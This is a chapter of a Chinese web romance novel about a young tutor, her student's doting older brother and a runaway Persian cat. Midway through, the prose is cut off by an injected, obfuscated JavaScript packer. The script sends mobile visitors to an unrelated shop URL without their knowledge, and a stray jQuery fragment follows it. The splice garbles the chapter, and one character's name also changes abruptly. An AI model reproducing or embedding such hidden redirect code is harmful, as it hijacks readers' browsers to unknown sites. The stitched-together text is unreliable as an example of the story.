休息日,也可以是工作日。
从早晨的第一声鸟鸣开始,居民楼下就开始吵个不停,上班族的母父早早出门,留下年纪尚小的孩子在家哭闹,宿醉归来的人将青春挥霍个不停。
路过行人时,廉价的工业香水味飘来。
无止境地混在空气里。
但是,谁的青春不愚蠢。
直到车窗被摇下,这种气味才逐渐消散,很快,又变成了另一种淡淡的香味。
一种好闻的木质调,可能是香水,也可能是洗衣液。
谢见寒朝池菱打招呼,俊美的脸上有着春风般的淡笑。
他身上戴着围裙,衬衫袖口挽到小臂一半,露出线条干净的手腕,上面沾着点白。
糖油混合物的气味浓郁,盖过了特地喷的香水。
池菱微微睁大眼睛:“谢老师……下午好。”
“不好意思小菱。”谢见寒神情温和,语气有几分愧疚:“老师原本想为你准备下午茶,但机器出了些故障,我还得再研究调试一会儿。”
池菱心头微微怔愣。
没想到,上次的小饼干真是他做的。
她轻轻摇头,腼腆道:“老师其实不用做这些的,您辛苦了,我先去给妹妹上课。”
说完,池菱握着扶梯一路往上走。
谢知暖今日格外乖巧安分。
而且她很聪明,除了总是走神看着家教老师外,其余时间都在认真听讲。
两节课的时光一晃而过。
书房的门被敲响两声,外表清隽温润的青年走进来,他换了件衬衫,领口解开几颗扣子,露出漂亮的锁骨。
与方才相比,多了几分成熟气质。
谢见寒在池菱面前停住,摸了下她的肩:“怎么样小菱,知暖没有不听话吧?”
一股很淡的木质调幽香萦绕在周围。
池菱老实回答:“没有的,知暖特别认真。”
“那就好。”谢见寒弯唇轻笑,又道:“刚好下午茶也准备好了,你跟我一起下楼吧。”
池菱跟谢见寒走到门口,才发现谢知暖还坐在原位,丝毫没有要跟他们一起的意思。
察觉到她的疑惑,谢见寒轻声解释:“知暖不喜欢我做的饼干,她想写作业,因为我告诉她写完后才可以跟小猫玩。”
顿了顿,他又笑道:“要是你能喜欢我准备的点心的话,老师会很开心的。”
毕竟做猫饭是件很幸福的事呢。
谢见寒想。
午后明媚的阳光从落地窗洒落,笼罩面对面坐着的两人,构成一幅岁月静好的场面。
白瓷盘上盛着小鱼形状的曲奇和巴斯克,一旁搭配的饮品是牛奶。
它们全都只摆在池菱面前。
谢见寒似乎并没有进食的打算,只是安静盯着面前的学生,眼神里充满了温柔,或许还有着期待。
能感觉到,他的心情很不错。
果然,老师是个善良的人。
池菱很感动,不想辜负老师的好意,努力吃下所有东西。
但这给她带来了极大的压力。
池菱忍不住猜想,难道以后每次来上课,都要被他这样投喂吗?
她突然感觉,自己像是来蹭吃蹭喝的流浪狗。
而且,她已经吃不下了。
“我吃饱了。”池菱抬起头诚恳开口:“老师的手艺越来越好了,但以后不用特意为我准备的。”
谢见寒却只是点了点头:“好孩子,还有牛奶没喝。”
池菱深呼一口气,端起那杯牛奶,却只勉强喝得下半杯。
她眼神无助地看着谢见寒。
谢见寒脸上立刻浮现很轻的忧伤:“是不喜欢喝牛奶吗?要是不爱喝的话……剩下的老师帮你喝掉吧。”
十分温柔的语气。
温柔得让池菱想要吐奶。
唉,也不用体贴到这种地步吧。
她压力很大的。
“我可以的……”池菱隐忍着食道里的奶味,涨红了脸小声道。
她重新端起剩下半杯,一鼓作气饮尽。放下杯子的瞬间,没能克制住生理性的反应,她下意识捂住了嘴巴。
见她强忍不适的模样,谢见寒很是愧疚:“抱歉,是老师没有考虑周全,让你应激了。”
不过,小猫居然不喜欢喝奶吗?
谢见寒有些疑惑,将手递到池菱的面前,又纵容道:“难受的话,吐到我的手上吧,憋着会更不舒服的。”
他有义务清理小猫的呕吐物。
被伸过来的手掌一惊,池菱就是原本没想吐,现在也想了。
但无论如何,她都不能容忍自己在老师面前丢脸,深深吸了一口气,便迅速地放下手。
“我没事了老师。”池菱微微笑着道。
谢见寒一愣,应声:“没事就好。”
话虽如此,那双黑眸却闪过一丝可惜。
真是遗憾啊,没能接住从小猫肚子里吐的食物。
谢见寒只能慢慢收回伸出去的手。
“池菱姐姐。”
稚嫩的小女孩声音从门口传过来。
池菱转头望去,佣人一只手牵着谢知暖,另一只手牵着长长的猫绳,波斯猫蓝色眼睛窥着她,看上去伤已经完全好了。
谢知暖道:“姐姐,小猫该出去玩了。”
来得早不如来得巧。
池菱此时急需出门走走,缓解难受的饱腹感。
她站起来看向谢见寒,松快道:“谢老师,那我先陪知暖出去了。”
谢见寒也顺势起了身,伸手将她的发丝捋好,温柔叮嘱:“注意安全,不要去太久。”
池菱觉得他叮嘱的对象好像搞错了。
“好的老师。”
两人离开之后,偌大的客厅彻底安静下来,谢见寒静坐在餐桌前。
没有了猫的家里很冷清。
不亲人的坏小猫,跑到外面去被人骗走了怎么办呢?
谢见寒望向窗外,忧心忡忡地想。
整片别墅区的风景极为优美,宽敞道路上行人寥寥无几,扑面而来的空气十分新鲜。
谢知暖牵着池菱的手不说话,池菱也不认识路。
因此,现在负责带路的是一只猫。
才走了一段路,池菱胃里的不适感便缓和许多。
然而就在此时,手上的猫绳突然变得紧绷,几秒后,波斯猫像狗一样朝着前方奔跑。
池菱:“……”
又想吐了。
变故发生得太快,猫绳本就牵得松松散散,被猛地一挣,直接从她的掌心滑脱。
池菱手里还牵着谢知暖,没办法抛下她去追,只能眼睁睁看着猫咪钻进一栋独栋别墅的花园。
然后,彻底消失在视线。
谢知暖停下脚步,看了愧疚的池菱一眼,无奈地解释:“它上次就是这样不见的。”
可能,猫不喜欢这个家吧。
谢知暖想,但她希望池菱能加入并喜欢他们的家。
池菱只是摸了下她的脑袋:“那我们去把它带回来。”
谢知暖应了声。
两人就这样边说边走,很快就到了猫跳进去的房子。池菱仔细观察了片刻,发现这里极其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683684|205322||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冷清,附近既没有佣人,也无法确定屋内到底有没有人。
犹豫再三,她还是抬手按下门铃。
“叮咚——”
屋内,落地窗帘半掩着,滤掉大半午后的阳光,极简的性冷淡装修风格,的确同池菱想象中的那般冷清。
段贺陷在柔软的沙发里,颀长的双腿大咧咧敞开,他眉眼淡漠,视线落在墙面的投屏上。
门铃响的声音听见了也没去管。
反正找他也没用,大事他帮不了,小事他不想帮。
直到固执地响到第三遍,段贺终于蹙了下眉,无语地将画面切到监控。
下一秒,却看见了刚切走的那张脸。
池菱表情紧张地望着可视化门铃,细伶伶的眉头一皱,那张漂亮的脸就这样放大在他眼前。
段贺大脑宕机了足足十秒钟。
反应过来后,他猛地从沙发上站起身,眼神很激动,几乎说不出话。
靠,惊喜老婆。
居然主动找上门了。
他几乎是快步,甚至有了几分仓促,朝着玄关冲去。
门外。
池菱也不知道还要等多久,正琢磨着要怎么给物业打电话。
那扇紧闭许久的大门,突然被打开了。
她抬起头,望见一个高壮的男生,纯黑色的短袖不能掩盖结实的身材,只衬得肤色更加冷白。
池菱一愣。
世界真小。
她实在没想到,在这里也能遇见段贺,这个游戏的Bug到底要什么时候才能修复?
乱七八糟的念头在脑海里一闪而过,但此刻,池菱已经来不及思考太多。
“段贺同学,冒昧打扰,我妹妹的猫跑进你家花园了,能不能让我们进去找找?”
她的唇一张一合,身上的香甜气味夹着奶香弥漫。
段成墨头脑嗡嗡作响,却仍只是淡淡微笑了下:“当然可以,没关系,我帮你们一起找,不用着急。”
他又合理补充:“但花园很大,要不我们分头找吧,这样比较快。”
池菱没想到他今天这么善解人意,竟然忍不住松了口气,甚至有点难以言喻的感动。
正想要开口道谢,下一秒,便又听见对方道:“把你的电话给我,要是我这边找到猫了,第一时间打电话告诉你。”
段贺努力绷着脸,但最终还是没忍住露出了点笑意。
池菱:“……”
她就知道。
午后的风温柔和煦,半个多小时过去,池菱几乎将每个角落都找过,却仍然一无所获。
以至于,她突然开始怀念有佣人的生活,起码像这种时刻能多点人帮忙。
白皙脸颊上愧疚和迷茫交杂,池菱担心猫又跑到危险的地方,急得有些想要报警。
即便冒着要和段贺见面的风险。
“嘟嘟嘟——”
终端震动响起。
来电界面上显示出一串陌生的号码。
池菱立即接通。
“我找到了。”
电话那头的男声带着几分轻佻笑意。
“为了抓住它,我可是费了好大一番功夫爬到树上去,结果这猫给我衣服抓破了——池菱,要怎么感谢我?”
池菱忐忑的心落地,她弯着眼睛,语气真诚道:“段贺,你好厉害。”
简单的一句夸赞,却是完全出自内心。
电话那头的男声忽然安静了。
随后,沉了几分的呼吸声传来:“嗯?再说一次,没听清。”
池菱:“……”
段贺,你真差劲。